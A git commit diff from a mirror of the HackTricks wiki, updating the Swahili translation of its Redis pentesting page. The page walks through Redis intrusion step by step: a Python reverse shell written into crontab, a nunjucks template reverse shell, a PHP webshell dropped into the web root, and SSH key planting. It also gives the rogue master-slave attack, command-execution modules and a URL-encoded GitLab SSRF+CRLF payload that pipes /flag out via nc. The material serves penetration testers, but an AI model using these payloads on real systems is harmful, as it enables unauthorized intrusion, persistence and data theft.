mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/6379-pentesting-redis.md']
This commit is contained in:
parent
7b2c04907f
commit
9af1d01ee3
@ -4,9 +4,9 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Kutoka [nyaraka](https://redis.io/topics/introduction): Redis ni chanzo wazi (licence ya BSD), katika-mkondo **hifadhi ya muundo wa data**, inayotumika kama **database**, cache na broker wa ujumbe).
|
||||
Kutoka [the docs](https://redis.io/topics/introduction): Redis ni chanzo wazi (licence ya BSD), katika-mkondo **hifadhi ya muundo wa data**, inayotumika kama **database**, cache na broker wa ujumbe).
|
||||
|
||||
Kwa kawaida Redis hutumia protokali ya maandiko ya kawaida, lakini unapaswa kukumbuka kwamba inaweza pia kutekeleza **ssl/tls**. Jifunze jinsi ya [kuendesha Redis na ssl/tls hapa](https://fossies.org/linux/redis/TLS.md).
|
||||
Kwa kawaida Redis hutumia protokali ya maandiko ya kawaida, lakini unapaswa kukumbuka kwamba inaweza pia kutekeleza **ssl/tls**. Jifunze jinsi ya [run Redis with ssl/tls here](https://fossies.org/linux/redis/TLS.md).
|
||||
|
||||
**Bandari ya kawaida:** 6379
|
||||
```
|
||||
@ -15,7 +15,7 @@ PORT STATE SERVICE VERSION
|
||||
```
|
||||
## Automatic Enumeration
|
||||
|
||||
Zana za kiotomatiki ambazo zinaweza kusaidia kupata taarifa kutoka kwa mfano wa redis:
|
||||
Baadhi ya zana za kiotomatiki ambazo zinaweza kusaidia kupata taarifa kutoka kwa mfano wa redis:
|
||||
```bash
|
||||
nmap --script redis-info -sV -p 6379 <IP>
|
||||
msf> use auxiliary/scanner/redis/redis_server
|
||||
@ -40,14 +40,14 @@ Katika kesi hii ya mwisho, hii inamaanisha kwamba **unahitaji akauti halali** il
|
||||
### Uthibitishaji wa Redis
|
||||
|
||||
**Kwa kawaida** Redis inaweza kufikiwa **bila akauti**. Hata hivyo, inaweza **kuwekwa** ili kuunga mkono **tu nenosiri, au jina la mtumiaji + nenosiri**.\
|
||||
Inawezekana **kweka nenosiri** katika faili _**redis.conf**_ kwa kutumia parameter `requirepass` **au ya muda** hadi huduma ipate kuanzishwa tena kwa kuungana nayo na kuendesha: `config set requirepass p@ss$12E45`.\
|
||||
Pia, jina la mtumiaji linaweza kuwekwa katika parameter `masteruser` ndani ya faili _**redis.conf**_.
|
||||
Inawezekana **kuweka nenosiri** katika _**redis.conf**_ faili kwa kutumia parameter `requirepass` **au ya muda** hadi huduma ipate kuanzishwa tena kwa kuungana nayo na kuendesha: `config set requirepass p@ss$12E45`.\
|
||||
Pia, jina la mtumiaji linaweza kuwekwa katika parameter `masteruser` ndani ya _**redis.conf**_ faili.
|
||||
|
||||
> [!NOTE]
|
||||
> Ikiwa nenosiri pekee limewekwa, jina la mtumiaji lililotumika ni "**default**".\
|
||||
> Pia, kumbuka kwamba hakuna **njia ya kupata kwa nje** ikiwa Redis iliwekwa kwa nenosiri pekee au jina la mtumiaji + nenosiri.
|
||||
|
||||
Katika kesi kama hii utahitaji **kufanya utafutaji wa akauti halali** ili kuingiliana na Redis hivyo unaweza kujaribu [**brute-force**](../generic-hacking/brute-force.md#redis) hiyo.\
|
||||
Katika kesi kama hii, utahitaji **kugundua akauti halali** ili kuingiliana na Redis hivyo unaweza kujaribu [**brute-force**](../generic-hacking/brute-force.md#redis) hiyo.\
|
||||
**Ikiwa umepata akauti halali unahitaji kuthibitisha kikao** baada ya kuanzisha muunganisho kwa amri:
|
||||
```bash
|
||||
AUTH <username> <password>
|
||||
@ -73,7 +73,7 @@ rename-command FLUSHDB ""
|
||||
```
|
||||
Zaidi kuhusu kuunda huduma ya Redis kwa usalama hapa: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
|
||||
|
||||
Unaweza pia **kufuatilia kwa wakati halisi amri za Redis** zinazotekelezwa kwa amri **`monitor`** au kupata **25 za maswali ya polepole zaidi** kwa **`slowlog get 25`**
|
||||
Unaweza pia **kufuatilia kwa wakati halisi amri za Redis** zinazotekelezwa kwa amri **`monitor`** au kupata **25 za chini zaidi za maswali** kwa **`slowlog get 25`**
|
||||
|
||||
Pata taarifa zaidi za kuvutia kuhusu amri zaidi za Redis hapa: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
|
||||
|
||||
@ -87,7 +87,7 @@ Au unaweza tu kupata **keyspaces** zote (hifadhidata) kwa:
|
||||
```
|
||||
INFO keyspace
|
||||
```
|
||||
Katika mfano huo, **database 0 na 1** zinatumika. **Database 0 ina funguo 4 na database 1 ina funguo 1**. Kwa kawaida Redis itatumia database 0. Ili kutupa kwa mfano database 1 unahitaji kufanya:
|
||||
Katika mfano huo, **database 0 na 1** zinatumika. **Database 0 ina funguo 4 na database 1 ina 1**. Kwa kawaida Redis itatumia database 0. Ili kutupa kwa mfano database 1 unahitaji kufanya:
|
||||
```bash
|
||||
SELECT 1
|
||||
[ ... Indicate the database ... ]
|
||||
@ -96,7 +96,7 @@ KEYS *
|
||||
GET <KEY>
|
||||
[ ... Get Key ... ]
|
||||
```
|
||||
Ili kupata makosa yafuatayo `-WRONGTYPE Operation against a key holding the wrong kind of value` unapokimbia `GET <KEY>` ni kwa sababu funguo inaweza kuwa kitu kingine zaidi ya mfuatano au nambari na inahitaji opereta maalum kuionyesha.
|
||||
Ili kupata kosa lifuatalo `-WRONGTYPE Operation against a key holding the wrong kind of value` unapokimbia `GET <KEY>` ni kwa sababu funguo inaweza kuwa kitu kingine zaidi ya string au integer na inahitaji opereta maalum kuionyesha.
|
||||
|
||||
Ili kujua aina ya funguo, tumia amri `TYPE`, mfano hapa chini kwa funguo za orodha na hash.
|
||||
```bash
|
||||
@ -116,13 +116,13 @@ DUMP <key>
|
||||
|
||||
### Kifaa cha Maingiliano
|
||||
|
||||
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) kinaweza kupata kifaa cha maingiliano au kifaa cha kurudi nyuma kiotomatiki katika Redis(<=5.0.5).
|
||||
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) kinaweza kupata kiolesura cha maingiliano au kiolesura cha kurudi nyuma kiotomatiki katika Redis(<=5.0.5).
|
||||
```
|
||||
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
|
||||
```
|
||||
### PHP Webshell
|
||||
|
||||
Taarifa kutoka [**hapa**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Lazima ujue **njia** ya **folda ya Tovuti**:
|
||||
Info kutoka [**hapa**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Lazima ujue **njia** ya **folda ya Tovuti**:
|
||||
```
|
||||
root@Urahara:~# redis-cli -h 10.85.0.52
|
||||
10.85.0.52:6379> config set dir /usr/share/nginx/html
|
||||
@ -138,9 +138,9 @@ Ikiwa kuna hitilafu ya ufikiaji wa webshell, unaweza kufuta database baada ya ku
|
||||
|
||||
### Kiolezo cha Webshell
|
||||
|
||||
Kama katika sehemu ya awali, unaweza pia kubadilisha faili fulani ya kiolezo cha html ambacho kitatafsiriwa na injini ya kiolezo na kupata shell.
|
||||
Kama katika sehemu ya awali, unaweza pia kubadilisha faili fulani ya kiolezo cha html ambayo itatafsiriwa na injini ya kiolezo na kupata shell.
|
||||
|
||||
Kwa mfano, kufuatia [**hii andiko**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), unaweza kuona kwamba mshambuliaji alingiza **rev shell katika html** iliyotafsiriwa na **nunjucks template engine:**
|
||||
Kwa mfano, kufuata [**hii andiko**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), unaweza kuona kwamba mshambuliaji alingiza **rev shell katika html** iliyotafsiriwa na **nunjucks template engine:**
|
||||
```javascript
|
||||
{{ ({}).constructor.constructor(
|
||||
"var net = global.process.mainModule.require('net'),
|
||||
@ -155,13 +155,13 @@ sh.stderr.pipe(client);
|
||||
)()}}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Tafadhali kumbuka kwamba **mashine kadhaa za templeti huhifadhi** templeti katika **kumbukumbu**, hivyo hata ukizifuta, mpya **haitatekelezwa**. Katika hali hizi, ama mendelevu ameacha upya wa kiotomatiki ukiendelea au unahitaji kufanya DoS juu ya huduma (na kutarajia kwamba itazinduliwa tena kiotomatiki).
|
||||
> Tafadhali fahamu kwamba **mashine kadhaa za templeti huhifadhi** templeti katika **kumbukumbu**, hivyo hata ukizifuta, mpya **haitatekelezwa**. Katika hali hizi, ama mendelevu aliacha upakiaji wa moja kwa moja kuwa hai au unahitaji kufanya DoS juu ya huduma (na kutarajia kwamba itazinduliwa tena kiotomatiki).
|
||||
|
||||
### SSH
|
||||
|
||||
Mfano [kutoka hapa](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
|
||||
|
||||
Tafadhali kuwa makini **`config get dir`** matokeo yanaweza kubadilishwa baada ya amri nyingine za kuchokoza kwa mikono. Inashauriwa kuikimbia kwanza mara tu baada ya kuingia kwenye Redis. Katika matokeo ya **`config get dir`** unaweza kupata **nyumba** ya **mtumiaji redis** (kawaida _/var/lib/redis_ au _/home/redis/.ssh_), na ukijua hili unajua wapi unaweza kuandika faili la `authenticated_users` ili kufikia kupitia ssh **na mtumiaji redis**. Ikiwa unajua nyumba ya mtumiaji mwingine halali ambapo una ruhusa za kuandika unaweza pia kuitumia vibaya:
|
||||
Tafadhali kuwa makini **`config get dir`** matokeo yanaweza kubadilishwa baada ya amri nyingine za unyakuzi wa mikono. Pendekeza kuikimbia kwanza mara tu baada ya kuingia kwenye Redis. Katika matokeo ya **`config get dir`** unaweza kupata **nyumba** ya **mtumiaji redis** (kawaida _/var/lib/redis_ au _/home/redis/.ssh_), na ukijua hili unajua wapi unaweza kuandika faili la `authenticated_users` ili kufikia kupitia ssh **na mtumiaji redis**. Ikiwa unajua nyumba ya mtumiaji mwingine halali ambapo una ruhusa za kuandika unaweza pia kuitumia vibaya:
|
||||
|
||||
1. Tengeneza jozi ya funguo za ssh za umma binafsi kwenye pc yako: **`ssh-keygen -t rsa`**
|
||||
2. Andika funguo ya umma kwenye faili : **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
|
||||
@ -178,10 +178,12 @@ OK
|
||||
OK
|
||||
```
|
||||
|
||||
5. Hatimaye, unaweza **ssh** kwenye **seva ya redis** kwa funguo binafsi : **ssh -i id_rsa redis@10.85.0.52**
|
||||
5. Hatimaye, unaweza **ssh** kwenye **seva ya redis** na funguo binafsi : **ssh -i id_rsa redis@10.85.0.52**
|
||||
|
||||
**Teknolojia hii imejumuishwa hapa:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
|
||||
|
||||
Zaidi, watumiaji wa mfumo pia wanaweza kugunduliwa kwa kuangalia na `config set dir /home/USER`, na baada ya kuthibitishwa, `authorized_keys` mpya inaweza kuandikwa kwenye `/home/USER/.ssh/authorized_keys`. Tumia [redis-rce-ssh](https://github.com/captain-woof/redis-rce-ssh) kujaribu nguvu hii na orodha ya majina ya watumiaji na kufuta `authorized_keys`.
|
||||
|
||||
### Crontab
|
||||
```
|
||||
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
|
||||
@ -193,16 +195,16 @@ OK
|
||||
root@Urahara:~# redis-cli -h 10.85.0.52 save
|
||||
OK
|
||||
```
|
||||
Mfano wa mwisho ni kwa Ubuntu, kwa **Centos**, amri iliyotajwa hapo juu inapaswa kuwa: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
|
||||
Mfano wa mwisho ni kwa Ubuntu, kwa **Centos**, amri iliyo hapo juu inapaswa kuwa: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
|
||||
|
||||
Njia hii pia inaweza kutumika kupata bitcoin :[yam](https://www.v2ex.com/t/286981#reply14)
|
||||
|
||||
### Pakia Moduli ya Redis
|
||||
|
||||
1. Kufuatia maelekezo kutoka [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) unaweza **kukusanya moduli ya redis ili kutekeleza amri zisizo na mipaka**.
|
||||
2. Kisha unahitaji njia fulani ya **kupakia moduli iliyokusanywa**
|
||||
3. **Pakia moduli iliyopakiwa** wakati wa utendaji na `MODULE LOAD /path/to/mymodule.so`
|
||||
4. **Orodhesha moduli zilizopakiwa** ili kuangalia kama imepakwa vizuri: `MODULE LIST`
|
||||
1. Kufuatia maelekezo kutoka [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) unaweza **kusanifu moduli ya redis ili kutekeleza amri zisizo na mipaka**.
|
||||
2. Kisha unahitaji njia fulani ya **kupakia moduli iliyo sanifiwa**
|
||||
3. **Pakia moduli iliyo pakuliwa** wakati wa utendaji na `MODULE LOAD /path/to/mymodule.so`
|
||||
4. **Orodhesha moduli zilizopakuliwa** ili kuangalia kama imepakuliwa vizuri: `MODULE LIST`
|
||||
5. **Tekeleza** **amri**:
|
||||
|
||||
```
|
||||
@ -217,7 +219,7 @@ Njia hii pia inaweza kutumika kupata bitcoin :[yam](https://www.v2ex.com/t/286
|
||||
|
||||
### Kupita Sandbox ya LUA
|
||||
|
||||
[**Hapa**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) unaweza kuona kwamba Redis inatumia amri **EVAL** kutekeleza **kodii ya Lua iliyowekwa kwenye sandbox**. Katika chapisho lililounganishwa unaweza kuona **jinsi ya kuitumia vibaya** kwa kutumia kazi ya **dofile**, lakini [kwa wazi](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) hii si tena inawezekana. Hata hivyo, ikiwa unaweza **kupita sandbox ya Lua** unaweza **kutekeleza amri zisizo na mipaka** kwenye mfumo. Pia, kutoka kwenye chapisho hilo hilo unaweza kuona baadhi ya **chaguzi za kusababisha DoS**.
|
||||
[**Hapa**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) unaweza kuona kwamba Redis inatumia amri **EVAL** kutekeleza **kodii ya Lua iliyo sanduku**. Katika chapisho lililounganishwa unaweza kuona **jinsi ya kuitumia vibaya** kwa kutumia kazi ya **dofile**, lakini [kwa wazi](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) hii si tena inawezekana. Hata hivyo, ikiwa unaweza **kupita sandbox ya Lua** unaweza **kutekeleza amri zisizo na mipaka** kwenye mfumo. Pia, kutoka kwenye chapisho hilo hilo unaweza kuona baadhi ya **chaguzi za kusababisha DoS**.
|
||||
|
||||
Baadhi ya **CVEs za kutoroka kutoka LUA**:
|
||||
|
||||
@ -225,7 +227,7 @@ Baadhi ya **CVEs za kutoroka kutoka LUA**:
|
||||
|
||||
### Moduli ya Mwalimu-Mtumwa
|
||||
|
||||
Mwalimu redis, shughuli zote zinaunganishwa moja kwa moja kwa mtumwa redis, ambayo inamaanisha kwamba tunaweza kuzingatia udhaifu wa redis kama mtumwa redis, uliounganishwa na mwalimu redis ambao tunadhibiti, kisha tunaweza kuingiza amri kwenye redis yetu.
|
||||
Mwalimu redis yote ya operesheni inasawazishwa kiotomatiki kwa mtumwa redis, ambayo inamaanisha kwamba tunaweza kuzingatia udhaifu wa redis kama mtumwa redis, uliounganishwa na mwalimu redis ambao tunadhibiti, kisha tunaweza kuingiza amri kwenye redis yetu.
|
||||
```
|
||||
master redis : 10.85.0.51 (Hacker's Server)
|
||||
slave redis : 10.85.0.52 (Target Vulnerability Server)
|
||||
@ -239,7 +241,7 @@ set mykey2 helloworld
|
||||
```
|
||||
## SSRF kuzungumza na Redis
|
||||
|
||||
Ikiwa unaweza kutuma ombi **la maandiko safi** **kwa Redis**, unaweza **kuwasiliana nayo** kwani Redis itasoma ombi hilo mstari kwa mstari na itajibu tu kwa makosa kwa mistari ambayo haielewi:
|
||||
Ikiwa unaweza kutuma ombi **la maandiko wazi** **kwa Redis**, unaweza **kuwasiliana nayo** kwani Redis itasoma mstari kwa mstari ombi hilo na itajibu tu kwa makosa kwa mistari ambayo haielewi:
|
||||
```
|
||||
-ERR wrong number of arguments for 'get' command
|
||||
-ERR unknown command 'Host:'
|
||||
@ -249,11 +251,11 @@ Ikiwa unaweza kutuma ombi **la maandiko safi** **kwa Redis**, unaweza **kuwasili
|
||||
-ERR unknown command 'Cache-Control:'
|
||||
-ERR unknown command 'Connection:'
|
||||
```
|
||||
Kwa hivyo, ikiwa unapata **SSRF vuln** katika tovuti na unaweza **kontrol** baadhi ya **headers** (labda kwa kutumia CRLF vuln) au **POST parameters**, utaweza kutuma amri zisizo na mipaka kwa Redis.
|
||||
Kwa hivyo, ikiwa unapata **SSRF vuln** katika tovuti na unaweza **kontroli** baadhi ya **headers** (labda kwa kutumia CRLF vuln) au **POST parameters**, utaweza kutuma amri zisizo na mipaka kwa Redis.
|
||||
|
||||
### Mfano: Gitlab SSRF + CRLF kwa Shell
|
||||
|
||||
Katika **Gitlab11.4.7** zilipatikana **SSRF** udhaifu na **CRLF**. Udhaifu wa **SSRF** ulikuwa katika **import project from URL functionality** wakati wa kuunda mradi mpya na uliruhusu kufikia IP zisizo na mipaka katika mfumo \[0:0:0:0:0:ffff:127.0.0.1] (hii itafikia 127.0.0.1), na **CRLF** vuln ilitumiwa kwa kuongezea tu **%0D%0A** wahusika kwenye **URL**.
|
||||
Katika **Gitlab11.4.7** iligundulika **SSRF** udhaifu na **CRLF**. Udhaifu wa **SSRF** ulikuwa katika **import project from URL functionality** wakati wa kuunda mradi mpya na uliruhusu kufikia IP zisizo na mipaka katika mfumo \[0:0:0:0:0:ffff:127.0.0.1] (hii itafikia 127.0.0.1), na **CRLF** vuln ilitumiwa kwa kuongezea tu **%0D%0A** wahusika kwenye **URL**.
|
||||
|
||||
Kwa hivyo, ilikuwa inawezekana **kutumia udhaifu hizi kuzungumza na Redis instance** ambayo **inasimamia foleni** kutoka **gitlab** na kutumia foleni hizo ili **kupata utekelezaji wa msimbo**. Payload ya matumizi ya foleni ya Redis ni:
|
||||
```
|
||||
@ -266,6 +268,6 @@ Na **URL encode** ombi **linalotumia SSRF** na **CRLF** kutekeleza `whoami` na k
|
||||
```
|
||||
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
||||
```
|
||||
_Kwa sababu fulani (kama ilivyo kwa mwandishi wa_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _ambapo taarifa hii ilichukuliwa) unyakuzi ulifanya kazi na mpango wa `git` na si mpango wa `http`._
|
||||
_Kwa sababu fulani (kama kwa mwandishi wa_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _ambapo taarifa hii ilichukuliwa) matumizi ya udhaifu yalifanya kazi na mpango wa `git` na si mpango wa `http`._
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user